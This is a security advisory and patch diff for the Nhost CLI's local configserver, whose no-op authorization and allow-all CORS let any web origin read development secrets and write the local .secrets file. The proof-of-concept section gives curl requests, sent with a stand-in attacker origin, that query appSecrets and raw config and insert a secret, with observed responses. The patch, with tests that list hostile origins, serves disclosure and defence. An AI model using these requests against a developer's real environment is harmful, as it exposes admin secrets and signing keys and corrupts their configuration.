Nhost CLI local configserver allows cross-origin unauthenticated read/write access to local development configuration and secrets
Description
Summary
The hidden nhost configserver used by nhost dev exposes the Mimir GraphQL API with dummy authorization directives and permissive CORS. When a developer is running the local development environment, any process that can reach the developer's localhost service, including a web page loaded from an arbitrary origin, can query the configserver for local Nhost configuration and secrets and can mutate the local .secrets file.
This impacts developers using nhost dev: project admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables can be read, and attacker-controlled secrets can be written to the local development project.
Details
The CLI registers a hidden configserver command in cli/main.go:39 and cli/main.go:41. That command is used as the local development configserver image in nhost dev: cli/cmd/dev/up.go:176 through cli/cmd/dev/up.go:200 select nhost/cli: as the configserver image, and cli/dockercompose/configserver.go:80 through cli/dockercompose/configserver.go:84 run it with the configserver command. The generated development dashboard receives the configserver and logs GraphQL URLs in public client-side environment variables at cli/dockercompose/compose.go:347 through cli/dockercompose/compose.go:358.
The configserver intentionally loads the local project files into Mimir's GraphQL resolver in cli/cmd/configserver/configserver.go:143 through cli/cmd/configserver/configserver.go:156. However, the authorization directives passed to graph.SetupRouter are no-ops:
cli/cmd/configserver/configserver.go:83throughcli/cmd/configserver/configserver.go:89definedummyMiddleware, which calls the next resolver without checking app visibility.cli/cmd/configserver/configserver.go:91throughcli/cmd/configserver/configserver.go:98definedummyMiddleware2, which calls the next resolver without checking roles.cli/cmd/configserver/configserver.go:161throughcli/cmd/configserver/configserver.go:170pass those dummy directive handlers andcors.Default()to the GraphQL router.
The default rs/cors configuration allows all origins when no AllowedOrigins are specified: vendor/github.com/rs/cors/cors.go:163 through vendor/github.com/rs/cors/cors.go:167, and vendor/github.com/rs/cors/cors.go:248 through vendor/github.com/rs/cors/cors.go:249 show Default() uses Options{}. A browser preflight from an arbitrary origin receives Access-Control-Allow-Origin: *.
The exposed GraphQL schema includes sensitive queries and mutations:
vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:41throughvendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:57exposeconfigRawJSON,config, andappSecretsby app ID.appSecretsis protected only by@hasAppVisibility, which the configserver replaces with the no-opdummyMiddleware.vendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:117throughvendor/github.com/nhost/be/services/mimir/schema/schema.graphqls:128exposeinsertSecret,updateSecret, anddeleteSecret, also protected only by the no-op@hasAppVisibilitydirective.vendor/github.com/nhost/be/services/mimir/graph/q_app_secrets.go:10throughvendor/github.com/nhost/be/services/mimir/graph/q_app_secrets.go:30return the app's secrets.vendor/github.com/nhost/be/services/mimir/graph/q_config_raw_json.go:12returns raw JSON for the app configuration, which includes sensitive fields such as Hasura admin secrets and JWT signing keys in local development config.vendor/github.com/nhost/be/services/mimir/graph/m_insert_secret.go:11throughvendor/github.com/nhost/be/services/mimir/graph/m_insert_secret.go:47append attacker-supplied secrets and call pluginUpdateSecrets.cli/cmd/configserver/local.go:164throughcli/cmd/configserver/local.go:175marshal the new secrets and write them to the configured local secrets file withos.WriteFile.
Because the local configserver uses a fixed zero UUID app ID for the local app (cli/cmd/configserver/local.go:134) and does not require cookies, tokens, or admin headers, a request only needs the known GraphQL endpoint and app ID.
Candidate score: 14/14.
- Reachability: 2 — reachable in the documented local development path using
nhost devand directly through the hiddenconfigservercommand. - Attacker control: 2 — GraphQL query and mutation bodies are fully attacker-controlled.
- Privilege required: 2 — no authentication or local Nhost privileges are required beyond network/browser reachability to the developer's local configserver.
- Sink impact: 2 — sensitive secret read and local secrets file write.
- Mitigation weakness: 2 — role/app-visibility directives are replaced with no-op handlers, and CORS permits all origins.
- Default exposure: 2 — enabled by the common local development setup.
- Safe reproduction feasibility: 2 — confirmed locally with disposable fixture files.
PoC
The following proof uses only localhost and disposable temporary files. It does not contact external systems and does not read or modify real project secrets.
- Start a configserver instance against temporary local files:
tmpdir=$(mktemp -d)
config="$tmpdir/nhost.toml"
secrets="$tmpdir/.secrets"
cat > "$config" <<'EOF'
[hasura]
adminSecret = 'local-test-admin-secret'
webhookSecret = 'local-test-webhook-secret'
[[hasura.jwtSecrets]]
type = 'HS256'
key = 'local-test-jwt-secret'
[observability]
[observability.grafana]
adminPassword = 'local-test-grafana-password'
EOF
cat > "$secrets" <<'EOF'
localProofSecret = 'LOCAL_PROOF_SECRET_VALUE'
EOF
port=18088
go run ./cli configserver \
--bind "127.0.0.1:$port" \
--storage-local-config-path "$config" \
--storage-local-secrets-path "$secrets"
- From another shell, show that a browser-style preflight from an arbitrary origin is accepted:
curl -sS -i -X OPTIONS \
-H 'Origin: https://attacker.example' \
-H 'Access-Control-Request-Method: POST' \
-H 'Access-Control-Request-Headers: content-type' \
"http://127.0.0.1:18088/v1/configserver/graphql"
Observed proof output in this environment:
HTTP/1.1 204 No Content
Access-Control-Allow-Headers: content-type
Access-Control-Allow-Methods: POST
Access-Control-Allow-Origin: *
Vary: Origin, Access-Control-Request-Method, Access-Control-Request-Headers
- Read local development secrets without any authentication:
curl -sS -i \
-H 'Origin: https://attacker.example' \
-H 'Content-Type: application/json' \
--data '{"query":"query { appSecrets(appID: \"00000000-0000-0000-0000-000000000000\") { name value } }"}' \
"http://127.0.0.1:18088/v1/configserver/graphql"
Observed proof output in this environment:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"data":{"appSecrets":[{"name":"localProofSecret","value":"LOCAL_PROOF_SECRET_VALUE"}]}}
- Read sensitive local configuration without any authentication:
curl -sS -i \
-H 'Origin: https://attacker.example' \
-H 'Content-Type: application/json' \
--data '{"query":"query { configRawJSON(appID: \"00000000-0000-0000-0000-000000000000\", resolve: false) }"}' \
"http://127.0.0.1:18088/v1/configserver/graphql"
Observed proof output in this environment:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"data":{"configRawJSON":"{\"hasura\":{\"adminSecret\":\"local-test-admin-secret\",\"jwtSecrets\":[{\"key\":\"local-test-jwt-secret\",\"type\":\"HS256\"}],\"webhookSecret\":\"local-test-webhook-secret\"},\"observability\":{\"grafana\":{\"adminPassword\":\"local-test-grafana-password\"}}}"}}
- Mutate the local
.secretsfile without any authentication:
curl -sS -i \
-H 'Origin: https://attacker.example' \
-H 'Content-Type: application/json' \
--data '{"query":"mutation { insertSecret(appID: \"00000000-0000-0000-0000-000000000000\", secret: { name: \"INJECTED_BY_UNAUTHENTICATED_REQUEST\", value: \"SAFE_LOCAL_MARKER\" }) { name value } }"}' \
"http://127.0.0.1:18088/v1/configserver/graphql"
grep -E 'INJECTED_BY_UNAUTHENTICATED_REQUEST|SAFE_LOCAL_MARKER' "$secrets"
Observed proof output in this environment:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
{"data":{"insertSecret":{"name":"INJECTED_BY_UNAUTHENTICATED_REQUEST","value":"SAFE_LOCAL_MARKER"}}}
INJECTED_BY_UNAUTHENTICATED_REQUEST = 'SAFE_LOCAL_MARKER'
- Cleanup:
# Stop the configserver process, then remove the disposable fixture directory.
rm -rf "$tmpdir"
Impact
An attacker who can cause a developer to visit a web page while nhost dev is running can use JavaScript from that page to send cross-origin GraphQL requests to the local Nhost configserver. The attacker can read local development secrets and configuration, including Hasura admin secrets, JWT signing keys, webhook secrets, Grafana credentials, and custom environment variables stored in .secrets. The attacker can also mutate the local .secrets file, which can alter subsequent local development behavior and potentially poison local configuration consumed by services.
This is not a hosted-production unauthenticated endpoint vulnerability; it affects the local developer environment. The realistic attacker model is a malicious web page, local unprivileged process, or same-network process that can reach the developer's local configserver route while the development stack is running.
Remediation
Addressed in nhost/nhost#4302 with three layered controls:
- CORS restricted to the dashboard origin.
cors.Default()incli/cmd/configserver/configserver.gois replaced bycorsMiddleware(), which uses anAllowOriginFuncdriven bydashboardOriginRe = ^https?://([^./]+\.dashboard\.local\.nhost\.run|local\.dashboard\.nhost\.run)(:\d+)?$. Arbitrary origins receive noAccess-Control-Allow-*headers and are rejected by browsers. The allowlist is locked in bycli/cmd/configserver/configserver_test.go. - Unguessable per-project app ID. The fixed zero UUID is replaced by a UUIDv4 generated on first
nhost dev, persisted to.nhost/app_id(mode0600) bycli/clienv/appid.go, and threaded viaNHOST_APP_IDinto the configserver container andNEXT_PUBLIC_NHOST_APP_IDinto the dashboard. The configserverserveaction validates the value withuuid.Parseat startup. Queries against any other app ID resolve to no app. - In-memory secret redaction with reconciling writes.
cli/cmd/configserver/local.goaddsloadSecretsRedacted, which substitutes every secret value with `before secrets enter the graph store, soappSecretsand any other read path return placeholders.UpdateSecretsreconciles incoming mutations against the on-disk.secretsfile — placeholder values preserve the on-disk value, only real new values are written — so a caller that has not seen the real secret cannot overwrite it with a known string. Coverage incli/cmd/configserver/local_test.go`.
Affected products
1Patches
1e407511627d2feat(cli): harden local configserver against cross-origin and exfil access (#4302)
31 files changed · +462 −933
cli/clienv/appid.go+42 −0 added@@ -0,0 +1,42 @@ +package clienv + +import ( + "errors" + "fmt" + "os" + "path/filepath" + "strings" + + "github.com/google/uuid" +) + +// GetOrCreateAppID returns the app ID stored at path, creating it with a fresh +// random UUIDv4 if the file does not exist. The parent directory must already +// exist. +func GetOrCreateAppID(path string) (string, error) { + b, err := os.ReadFile(path) + if err == nil { + id := strings.TrimSpace(string(b)) + if _, err := uuid.Parse(id); err != nil { + return "", fmt.Errorf("app id file %s is malformed: %w", path, err) + } + + return id, nil + } + + if !errors.Is(err, os.ErrNotExist) { + return "", fmt.Errorf("failed to read app id file %s: %w", path, err) + } + + id := uuid.NewString() + + if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil { //nolint:mnd + return "", fmt.Errorf("failed to create app id directory: %w", err) + } + + if err := os.WriteFile(path, []byte(id+"\n"), 0o600); err != nil { //nolint:mnd + return "", fmt.Errorf("failed to write app id file %s: %w", path, err) + } + + return id, nil +}
cli/clienv/filesystem.go+4 −0 modified@@ -71,6 +71,10 @@ func (p PathStructure) DockerCompose() string { return filepath.Join(p.dotNhostFolder, "docker-compose.yaml") } +func (p PathStructure) AppID() string { + return filepath.Join(p.dotNhostFolder, "app_id") +} + func (p PathStructure) Functions() string { return filepath.Join(p.root, "functions") }
cli/cmd/configserver/configserver.go+51 −4 modified@@ -3,15 +3,17 @@ package configserver import ( "context" "fmt" + "net/http" "os" + "regexp" "github.com/99designs/gqlgen/graphql" "github.com/docker/docker/client" "github.com/gin-gonic/gin" "github.com/google/uuid" "github.com/nhost/be/services/mimir/graph" "github.com/nhost/nhost/cli/cmd/configserver/logsapi" - cors "github.com/rs/cors/wrapper/gin" + oapimw "github.com/nhost/nhost/internal/lib/oapi/middleware" "github.com/sirupsen/logrus" "github.com/urfave/cli/v3" ) @@ -24,9 +26,20 @@ const ( storageLocalConfigPath = "storage-local-config-path" storageLocalSecretsPath = "storage-local-secrets-path" storageLocalRunServicesPath = "storage-local-run-services-path" + appIDFlag = "app-id" dockerComposeProjectEnv = "DOCKER_COMPOSE_PROJECT" ) +// dashboardOriginRe matches the origins where the CLI-instantiated dashboard +// is reachable. The subdomain segment is intentionally restricted to a single +// DNS label (`[^./]+`) — stricter than traefik's `.+` host-regexp — so that +// only the canonical `<sub>.dashboard.local.nhost.run` (and the bare +// `local.dashboard.nhost.run`) form is credentialed-CORS eligible. An optional +// non-standard HTTP(S) port is permitted. +var dashboardOriginRe = regexp.MustCompile( + `^https?://([^./]+\.dashboard\.local\.nhost\.run|local\.dashboard\.nhost\.run)(:\d+)?$`, +) + func Command() *cli.Command { return &cli.Command{ //nolint: exhaustruct Name: "configserver", @@ -75,11 +88,40 @@ func Command() *cli.Command { Category: "plugins", Sources: cli.EnvVars("STORAGE_LOCAL_RUN_SERVICES_PATH"), }, + &cli.StringFlag{ //nolint: exhaustruct + Name: appIDFlag, + Usage: "App ID this configserver instance represents", + Value: ZeroUUID, + Category: "server", + Sources: cli.EnvVars("NHOST_APP_ID"), + }, }, Action: serve, } } +func corsMiddleware() gin.HandlerFunc { + return oapimw.CORS(oapimw.CORSOptions{ + AllowOriginFunc: dashboardOriginRe.MatchString, + AllowedOrigins: nil, + AllowedMethods: []string{ + http.MethodGet, + http.MethodPost, + http.MethodPut, + http.MethodPatch, + http.MethodDelete, + http.MethodOptions, + http.MethodHead, + }, + // AllowedHeaders: nil reflects the client's Access-Control-Request-Headers, + // which is the equivalent of "*" under credentialed CORS. + AllowedHeaders: nil, + ExposedHeaders: nil, + AllowCredentials: true, + MaxAge: "", + }) +} + func dummyMiddleware( ctx context.Context, _ any, @@ -144,7 +186,12 @@ func serve(_ context.Context, cmd *cli.Command) error { secretsFile := cmd.String(storageLocalSecretsPath) runServices := runServicesFiles(cmd.StringSlice(storageLocalRunServicesPath)...) - st := NewLocal(configFile, secretsFile, runServices) + appID := cmd.String(appIDFlag) + if _, err := uuid.Parse(appID); err != nil { + return fmt.Errorf("invalid --%s value %q: %w", appIDFlag, appID, err) + } + + st := NewLocal(appID, configFile, secretsFile, runServices) data, err := st.GetApps(configFile, secretsFile, runServices) if err != nil { @@ -165,9 +212,9 @@ func serve(_ context.Context, cmd *cli.Command) error { dummyMiddleware2, cmd.Bool(enablePlaygroundFlag), cmd.Root().Version, - []graphql.FieldMiddleware{}, + nil, gin.Recovery(), - cors.Default(), + corsMiddleware(), ) if err := setupLogsAPI(
cli/cmd/configserver/configserver_test.go+49 −0 added@@ -0,0 +1,49 @@ +package configserver //nolint:testpackage + +import ( + "testing" +) + +func TestDashboardOriginRegex(t *testing.T) { + t.Parallel() + + cases := []struct { + origin string + want bool + }{ + {"https://local.dashboard.local.nhost.run", true}, + {"http://local.dashboard.local.nhost.run", true}, + {"https://local.dashboard.local.nhost.run:1337", true}, + {"https://dev.dashboard.local.nhost.run", true}, + {"https://dev.dashboard.local.nhost.run:8443", true}, + {"https://local.dashboard.nhost.run", true}, + {"http://local.dashboard.nhost.run:443", true}, + + // Foreign origins must be rejected. + {"https://evil.com", false}, + {"https://attacker.local.nhost.run", false}, + {"https://dashboard.local.nhost.run", false}, + {"https://dashboard.local.nhost.run.evil.com", false}, + {"https://local.dashboard.local.nhost.run.evil.com", false}, + {"https://local.dashboard.local.nhost.run/foo", false}, + {"http://localhost:3000", false}, + {"", false}, + + // Multi-label subdomains are intentionally rejected even though + // traefik would route them; only single-label `<sub>.dashboard.local.nhost.run` + // is credentialed-CORS eligible. + {"https://a.b.dashboard.local.nhost.run", false}, + {"https://foo.bar.dashboard.local.nhost.run:1337", false}, + } + + for _, tc := range cases { + t.Run(tc.origin, func(t *testing.T) { + t.Parallel() + + got := dashboardOriginRe.MatchString(tc.origin) + if got != tc.want { + t.Errorf("origin %q: got %v, want %v", tc.origin, got, tc.want) + } + }) + } +}
cli/cmd/configserver/local.go+101 −16 modified@@ -15,7 +15,20 @@ import ( "github.com/sirupsen/logrus" ) -const zeroUUID = "00000000-0000-0000-0000-000000000000" +const ZeroUUID = "00000000-0000-0000-0000-000000000000" + +// placeholderSecretValue is substituted into the in-memory configserver state +// for every secret loaded from .secrets, so real secret material never enters +// the configserver process's heap or its GraphQL responses. The on-disk +// .secrets file remains authoritative; UpdateSecrets re-reads it when +// persisting mutations and only writes through values that differ from this +// placeholder. +// +// The value is intentionally long (>= 64 characters) so that resolved-config +// validation rules with minimum-length constraints (e.g. HS512 JWT keys) still +// pass when an unrelated secret is being updated and the others resolve to +// this placeholder. +const placeholderSecretValue = "<placeholder-from-local-configserver-substituted-for-real-secret>" var ErrNotImpl = errors.New("not implemented") @@ -27,13 +40,15 @@ type Local struct { config string secrets string runServices map[string]string + appID string } -func NewLocal(config, secrets string, runServices map[string]string) *Local { +func NewLocal(appID, config, secrets string, runServices map[string]string) *Local { return &Local{ config: config, secrets: secrets, runServices: runServices, + appID: appID, } } @@ -91,17 +106,9 @@ func (l *Local) GetApps( return nil, fmt.Errorf("failed to fill config: %w", err) } - b, err = os.ReadFile(secretsFile) + secrets, err := loadSecretsRedacted(secretsFile) if err != nil { - return nil, fmt.Errorf("failed to read secrets file: %w", err) - } - - var secrets model.Secrets - if err := env.Unmarshal(b, &secrets); err != nil { - return nil, fmt.Errorf( - "failed to parse secrets, make sure secret values are between quotes: %w", - err, - ) + return nil, err } services, err := l.GetServices(runServicesFiles) @@ -131,7 +138,7 @@ func (l *Local) GetApps( }, Secrets: secrets, Services: services, - AppID: zeroUUID, + AppID: l.appID, }, }, nil } @@ -161,13 +168,40 @@ func (l *Local) UpdateSystemConfig(_ context.Context, _, _ *graph.App, _ logrus. return ErrNotImpl } +// UpdateSecrets persists the secrets changeset implied by newApp.Secrets, +// merging with the on-disk .secrets file so that placeholder entries (the +// values we loaded into memory in place of real secrets) never overwrite +// actual values stored on disk. +// +// The reconciliation rules are: +// - A name present in newApp.Secrets whose value equals +// placeholderSecretValue is treated as "untouched" — the on-disk value is +// preserved. +// - A name present in newApp.Secrets whose value differs from the +// placeholder is treated as a real insert/update — the incoming value is +// written through. +// - A name present on disk but absent from newApp.Secrets is deleted. func (l *Local) UpdateSecrets(_ context.Context, _, newApp *graph.App, _ logrus.FieldLogger) error { - m := make(map[string]string) + onDisk, err := readSecretsMap(l.secrets) + if err != nil { + return err + } + + out := make(map[string]string, len(newApp.Secrets)) + for _, v := range newApp.Secrets { - m[v.Name] = v.Value + if v.Value == placeholderSecretValue { + if existing, ok := onDisk[v.Name]; ok { + out[v.Name] = existing + } + + continue + } + + out[v.Name] = v.Value } - b, err := toml.Marshal(m) + b, err := toml.Marshal(out) if err != nil { return fmt.Errorf("failed to marshal app secrets: %w", err) } @@ -179,6 +213,57 @@ func (l *Local) UpdateSecrets(_ context.Context, _, newApp *graph.App, _ logrus. return nil } +// loadSecretsRedacted reads the on-disk .secrets file and returns a +// model.Secrets whose names match what's on disk but whose values are all +// replaced with placeholderSecretValue. The configserver never holds real +// secret material in memory. +func loadSecretsRedacted(path string) (model.Secrets, error) { + b, err := os.ReadFile(path) + if err != nil { + return nil, fmt.Errorf("failed to read secrets file: %w", err) + } + + var secrets model.Secrets + if err := env.Unmarshal(b, &secrets); err != nil { + return nil, fmt.Errorf( + "failed to parse secrets, make sure secret values are between quotes: %w", + err, + ) + } + + for _, s := range secrets { + s.Value = placeholderSecretValue + } + + return secrets, nil +} + +// readSecretsMap reads and parses the local .secrets file into a name->value +// map. Returns an empty map if the file does not exist; this lets +// UpdateSecrets bootstrap from a missing file. +func readSecretsMap(path string) (map[string]string, error) { + b, err := os.ReadFile(path) + if err != nil { + if errors.Is(err, os.ErrNotExist) { + return map[string]string{}, nil + } + + return nil, fmt.Errorf("failed to read secrets file: %w", err) + } + + var secrets model.Secrets + if err := env.Unmarshal(b, &secrets); err != nil { + return nil, fmt.Errorf("failed to parse secrets file: %w", err) + } + + out := make(map[string]string, len(secrets)) + for _, s := range secrets { + out[s.Name] = s.Value + } + + return out, nil +} + func (l *Local) CreateRunServiceConfig( _ context.Context, _ string, _ *graph.Service, _ logrus.FieldLogger, ) error {
cli/cmd/configserver/local_test.go+65 −14 modified@@ -27,6 +27,11 @@ adminPassword = 'asdasd' const rawSecrets = `someSecret = 'asdasd' ` +// placeholderSecretValue mirrors the constant in package configserver; we +// duplicate it here because it is unexported. Tests assert on this exact +// string to verify GetApps redacts real values at load time. +const placeholderSecretValue = "<placeholder-from-local-configserver-substituted-for-real-secret>" + func newApp() *graph.App { return &graph.App{ Config: &model.ConfigConfig{ @@ -72,7 +77,7 @@ func newApp() *graph.App { Secrets: []*model.ConfigEnvironmentVariable{ { Name: "someSecret", - Value: "asdasd", + Value: placeholderSecretValue, }, }, Services: graph.Services{}, @@ -90,7 +95,7 @@ func TestLocalGetApps(t *testing.T) { expected []*graph.App }{ { - name: "works", + name: "secret values are redacted at load time", configRaw: rawConfig, secretsRaw: rawSecrets, expected: []*graph.App{newApp()}, @@ -122,6 +127,7 @@ func TestLocalGetApps(t *testing.T) { } st := configserver.NewLocal( + configserver.ZeroUUID, configF.Name(), secretsF.Name(), nil, @@ -141,7 +147,7 @@ func TestLocalGetApps(t *testing.T) { } } -func TestLocalUpdateConfig(t *testing.T) { //nolint:dupl +func TestLocalUpdateConfig(t *testing.T) { t.Parallel() cases := []struct { @@ -185,6 +191,7 @@ func TestLocalUpdateConfig(t *testing.T) { //nolint:dupl } st := configserver.NewLocal( + configserver.ZeroUUID, configF.Name(), secretsF.Name(), nil, @@ -211,40 +218,83 @@ func TestLocalUpdateConfig(t *testing.T) { //nolint:dupl } } -func TestLocalUpdateSecrets(t *testing.T) { //nolint:dupl +func secretsApp(secrets ...*model.ConfigEnvironmentVariable) *graph.App { + return &graph.App{ //nolint:exhaustruct + Secrets: secrets, + } +} + +func TestLocalUpdateSecrets(t *testing.T) { t.Parallel() cases := []struct { name string - configRaw string secretsRaw string newApp *graph.App expected string }{ { - name: "works", - configRaw: rawConfig, - secretsRaw: rawSecrets, - newApp: newApp(), - expected: rawSecrets, + // Placeholder values mean "unchanged" — UpdateSecrets must + // merge with the on-disk value, never overwriting real + // secrets with the placeholder sentinel. + name: "placeholder preserves on-disk value", + secretsRaw: "kept = 'real-on-disk-value'\n", + newApp: secretsApp(&model.ConfigEnvironmentVariable{ + Name: "kept", + Value: placeholderSecretValue, + }), + expected: "kept = 'real-on-disk-value'\n", + }, + { + // A real (non-placeholder) value is a genuine update from + // the dashboard — write it through. + name: "real value writes through", + secretsRaw: "edited = 'old-value'\n", + newApp: secretsApp(&model.ConfigEnvironmentVariable{ + Name: "edited", + Value: "new-value", + }), + expected: "edited = 'new-value'\n", + }, + { + // A real value for a name that does not yet exist on disk + // is a fresh insert. + name: "insert of new name writes through", + secretsRaw: "", + newApp: secretsApp(&model.ConfigEnvironmentVariable{ + Name: "fresh", + Value: "brand-new", + }), + expected: "fresh = 'brand-new'\n", + }, + { + // A name present on disk but absent from newApp.Secrets is + // a delete — it must not be carried over. + name: "missing name is deleted", + secretsRaw: "stays = 'real-stays'\ndropped = 'real-dropped'\n", + newApp: secretsApp(&model.ConfigEnvironmentVariable{ + Name: "stays", + Value: placeholderSecretValue, + }), + expected: "stays = 'real-stays'\n", }, } for _, tc := range cases { t.Run(tc.name, func(t *testing.T) { t.Parallel() - configF, err := os.CreateTemp(t.TempDir(), "TestLocalGetApps") + configF, err := os.CreateTemp(t.TempDir(), "TestLocalUpdateSecrets") if err != nil { t.Fatalf("failed to create temp file: %v", err) } defer os.Remove(configF.Name()) - if _, err := configF.WriteString(tc.configRaw); err != nil { + if _, err := configF.WriteString(rawConfig); err != nil { t.Fatalf("failed to write to temp file: %v", err) } - secretsF, err := os.CreateTemp(t.TempDir(), "TestLocalGetApps") + secretsF, err := os.CreateTemp(t.TempDir(), "TestLocalUpdateSecrets") if err != nil { t.Fatalf("failed to create temp file: %v", err) } @@ -255,6 +305,7 @@ func TestLocalUpdateSecrets(t *testing.T) { //nolint:dupl } st := configserver.NewLocal( + configserver.ZeroUUID, configF.Name(), secretsF.Name(), nil, @@ -271,7 +322,7 @@ func TestLocalUpdateSecrets(t *testing.T) { //nolint:dupl b, err := os.ReadFile(secretsF.Name()) if err != nil { - t.Errorf("failed to read config file: %v", err) + t.Errorf("failed to read secrets file: %v", err) } if diff := cmp.Diff(tc.expected, string(b)); diff != "" {
cli/cmd/dev/cloud.go+1 −0 modified@@ -204,6 +204,7 @@ func cloud( //nolint:funlen ports, dashboardVersion, configserverImage, + proj.GetID(), caCertificatesPath, ) if err != nil {
cli/cmd/dev/up.go+10 −0 modified@@ -440,6 +440,15 @@ func up( //nolint:funlen,cyclop return fmt.Errorf("failed to validate config: %w", err) } + if err := os.MkdirAll(ce.Path.DotNhostFolder(), 0o755); err != nil { //nolint:mnd + return fmt.Errorf("failed to create .nhost folder: %w", err) + } + + appID, err := clienv.GetOrCreateAppID(ce.Path.AppID()) + if err != nil { + return fmt.Errorf("failed to get app id: %w", err) + } + ctxWithTimeout, cancel := context.WithTimeout(ctx, 5*time.Second) //nolint:mnd defer cancel() @@ -473,6 +482,7 @@ func up( //nolint:funlen,cyclop dashboardVersion, functionsVersion, configserverImage, + appID, clienv.PathExists(ce.Path.Functions()), caCertificatesPath, runServicesCfg...,
cli/dockercompose/compose_cloud.go+8 −2 modified@@ -20,8 +20,9 @@ func dashboardCloud( httpPort uint, useTLS bool, dashboardVersion string, + appID string, ) *Service { - dashboard := dashboard(cfg, subdomain, dashboardVersion, httpPort, useTLS) + dashboard := dashboard(cfg, subdomain, dashboardVersion, httpPort, useTLS, appID) dashboard.Environment["NEXT_PUBLIC_NHOST_ADMIN_SECRET"] = cloudAdminSecret dashboard.Environment["NEXT_PUBLIC_NHOST_AUTH_URL"] = fmt.Sprintf( @@ -85,7 +86,7 @@ func consoleCloud( return console, nil } -func getServicesCloud( +func getServicesCloud( //nolint:funlen cfg *model.ConfigConfig, subdomain string, cloudSubdomain string, @@ -101,6 +102,7 @@ func getServicesCloud( ports ExposePorts, dashboardVersion string, configserviceImage string, + appID string, ) (map[string]*Service, error) { traefik, err := traefik(subdomain, projectName, httpPort, dotNhostFolder) if err != nil { @@ -128,6 +130,7 @@ func getServicesCloud( rootFolder, nhostFolder, projectName, + appID, useTLS, ) if err != nil { @@ -145,6 +148,7 @@ func getServicesCloud( httpPort, useTLS, dashboardVersion, + appID, ), "traefik": traefik, "configserver": cs, @@ -169,6 +173,7 @@ func CloudComposeFileFromConfig( ports ExposePorts, dashboardVersion string, configserverImage string, + appID string, caCertificatesPath string, ) (*ComposeFile, error) { services, err := getServicesCloud( @@ -187,6 +192,7 @@ func CloudComposeFileFromConfig( ports, dashboardVersion, configserverImage, + appID, ) if err != nil { return nil, err
cli/dockercompose/compose.go+8 −2 modified@@ -332,6 +332,7 @@ func dashboard( dashboardVersion string, httpPort uint, useTLS bool, + appID string, ) *Service { return &Service{ Image: dashboardVersion, @@ -341,6 +342,7 @@ func dashboard( Environment: map[string]string{ "NEXT_PUBLIC_ENV": "dev", "NEXT_PUBLIC_NHOST_PLATFORM": "false", + "NEXT_PUBLIC_NHOST_APP_ID": appID, "NEXT_PUBLIC_NHOST_ADMIN_SECRET": cfg.Hasura.AdminSecret, "NEXT_PUBLIC_NHOST_AUTH_URL": URL( subdomain, "auth", httpPort, useTLS) + "/v1", @@ -583,6 +585,7 @@ func getServices( //nolint: funlen,cyclop dashboardVersion string, functionsVersion string, configserviceImage string, + appID string, startFunctions bool, runServices ...*RunService, ) (map[string]*Service, error) { @@ -627,6 +630,7 @@ func getServices( //nolint: funlen,cyclop rootFolder, nhostFolder, projectName, + appID, useTLS, runServices..., ) @@ -636,7 +640,7 @@ func getServices( //nolint: funlen,cyclop services := map[string]*Service{ "console": console, - "dashboard": dashboard(cfg, subdomain, dashboardVersion, httpPort, useTLS), + "dashboard": dashboard(cfg, subdomain, dashboardVersion, httpPort, useTLS, appID), "graphql": graphql, "minio": minio, "postgres": postgres, @@ -711,7 +715,7 @@ func mountCACertificates( } } -func ComposeFileFromConfig( +func ComposeFileFromConfig( //nolint:funlen cfg *model.ConfigConfig, subdomain string, projectName string, @@ -726,6 +730,7 @@ func ComposeFileFromConfig( dashboardVersion string, functionsVersion string, configserverImage string, + appID string, startFunctions bool, caCertificatesPath string, runServices ...*RunService, @@ -745,6 +750,7 @@ func ComposeFileFromConfig( dashboardVersion, functionsVersion, configserverImage, + appID, startFunctions, runServices..., )
cli/dockercompose/configserver.go+3 −1 modified@@ -10,7 +10,8 @@ func configserver( //nolint: funlen image, rootPath, nhostPath, - projectName string, + projectName, + appID string, useTLS bool, runServices ...*RunService, ) (*Service, error) { @@ -85,6 +86,7 @@ func configserver( //nolint: funlen Environment: map[string]string{ "DOCKER_HOST": dockerEndpoint, "DOCKER_COMPOSE_PROJECT": projectName, + "NHOST_APP_ID": appID, }, ExtraHosts: []string{}, HealthCheck: nil,
cli/project.nix+2 −0 modified@@ -32,6 +32,8 @@ let (and (inDirectory "internal/lib/nhostclient") (matchExt "go")) + (and (inDirectory "internal/lib/oapi") (matchExt "go")) + "${submodule}/cmd/configserver/logsapi/gqlgen.yml" "${submodule}/cmd/configserver/logsapi/schema.graphqls"
dashboard/docker-entrypoint.sh+2 −0 modified@@ -12,6 +12,7 @@ NEXT_PUBLIC_NHOST_HASURA_CONSOLE_URL="${NEXT_PUBLIC_NHOST_HASURA_CONSOLE_URL:-ht NEXT_PUBLIC_NHOST_HASURA_MIGRATIONS_API_URL="${NEXT_PUBLIC_NHOST_HASURA_MIGRATIONS_API_URL:-http://localhost:9693}" NEXT_PUBLIC_NHOST_HASURA_API_URL="${NEXT_PUBLIC_NHOST_HASURA_API_URL:-http://localhost:8080}" NEXT_PUBLIC_NHOST_CONFIGSERVER_URL="${NEXT_PUBLIC_NHOST_CONFIGSERVER_URL:-""}" +NEXT_PUBLIC_NHOST_APP_ID="${NEXT_PUBLIC_NHOST_APP_ID:-""}" # replace placeholders find /dashboard/ -type f -exec sed -i "s~__NEXT_PUBLIC_NHOST_ADMIN_SECRET__~${NEXT_PUBLIC_NHOST_ADMIN_SECRET}~g" {} + @@ -23,5 +24,6 @@ find /dashboard/ -type f -exec sed -i "s~__NEXT_PUBLIC_NHOST_HASURA_CONSOLE_URL_ find /dashboard/ -type f -exec sed -i "s~__NEXT_PUBLIC_NHOST_HASURA_MIGRATIONS_API_URL__~${NEXT_PUBLIC_NHOST_HASURA_MIGRATIONS_API_URL}~g" {} + find /dashboard/ -type f -exec sed -i "s~__NEXT_PUBLIC_NHOST_HASURA_API_URL__~${NEXT_PUBLIC_NHOST_HASURA_API_URL}~g" {} + find /dashboard/ -type f -exec sed -i "s~__NEXT_PUBLIC_NHOST_CONFIGSERVER_URL__~${NEXT_PUBLIC_NHOST_CONFIGSERVER_URL}~g" {} + +find /dashboard/ -type f -exec sed -i "s~__NEXT_PUBLIC_NHOST_APP_ID__~${NEXT_PUBLIC_NHOST_APP_ID}~g" {} + exec "$@"
